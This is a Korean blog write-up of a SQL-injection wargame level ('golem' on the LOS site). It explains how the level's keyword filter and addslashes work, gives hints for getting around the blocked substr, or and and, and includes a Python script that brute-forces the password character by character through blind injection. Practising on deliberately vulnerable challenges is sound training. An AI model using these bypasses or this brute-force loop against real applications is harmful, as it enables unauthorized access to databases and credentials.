Youngjin's Log

[los] 11번 문제 golem 본문

Web/Wargame&CTF

[los] 11번 문제 golem

Youngjin. 2018. 7. 12. 19:48

11번 문제 - golem



php 코드 분석

preg_match함수로 테이블에 직접적인 접근을 금지하고 있습니다.

그리고 앞전에 유용하게 쓰였던 or, and, substr을 금지하고 있습니다.

pw를 get방식으로 문자열로 받아서 쿼리문이 정상작동하면 출력된 id를 보여주고,

입력받은 pw문자열을 addslashes함수로 싱글쿼터, 더블쿼터, 널, 역슬래시 앞에 역슬래시(\)를 추가하여 반환해줍니다.

반환받은 문자열을 두번쨰 쿼리문에 입력하게 되고, 출력된 pw와 입력받은 pw를 비교하여 같은 경우 클리어되는 문제입니다.


TIP

이전 문제에서도 많이 풀었던 방식인 Blind SQL injection문제입니다. addslashes에 걸리지 않고 출력시킨 pw와 같으려면 어쩔 수 없이 정확한 값을 넣어주는 수 밖에 없습니다.

전과 다른 점은 or, and, substr을 금지했다는 것뿐입니다. or, and 우회는 이전 문제에서 많이 다루셨던 것이기에 substr만 우회하시면 될 것 같습니다. substr을 다르게 표시하면 substring으로 표현할 수 있고 이외에 사용할 수 있는 함수들(right, left, mid 등등)이 존재하므로 다양한 함수들을 익혀주시면 좋을 것 같습니다.

답은 다양한 형태로 올 수 있습니다.


코딩은 동작해서 원하는 값을 얻을 수 있게만 되어 있는거라 다른 분들처럼 최적화된 코드가 아닐 수도 있습니다. 그저 입력하는 노동을 조금 덜하기 위해서 빠르게 작성해본 것입니다.

import requests


URL = 'https://los.eagle-jump.org/'
cookies={'Cookie':''}
ch = ''

result = ''
result2 = ''
num = 1
guest = 'Hello guest'
admin = 'Hello admin'
clear = 'Clear'

'''
strurl1 = input('반복할 첫번째 값:')
strurl2 = input('반복할 두번째 값:')
strurl3 = input('반복할 세번째 값:')
'''

strurl1 = ""
strurl2 = ""
strurl3 = ""


for i in range(1, 11):
if num==0:
break
for j in range(0,128):
num = j
req = requests.get(URL+ch+strurl1+str(i)+strurl2+str(j)+strurl3, headers=cookies)

response = req.text
print(strurl1+str(i)+strurl2+str(j)+strurl3)

# 문자열 비교해서 출력하기
if clear in response:
print('good')
elif admin in response:
if num == 0:
print('NULL값')
break
print('admin')
result = result+'\n'+str(i)+'번째 암호는'+' = '+'ascii 값: '+str(j)
result2 = result2+chr(j)
break
elif guest in response:
print('guest')
#결과 출력
print(result)
print('답은 :'+result2)


'Web > Wargame&CTF' 카테고리의 다른 글

[los] 13번 문제 - bugbear  (1) 2018.07.26
[los] 12번 문제 darkknight  (0) 2018.07.12
[los] 10번 문제 skeleton  (0) 2018.07.12
[los] 9번 문제 vampire  (0) 2018.07.12
[los] 8번 문제 troll  (0) 2018.07.11
Comments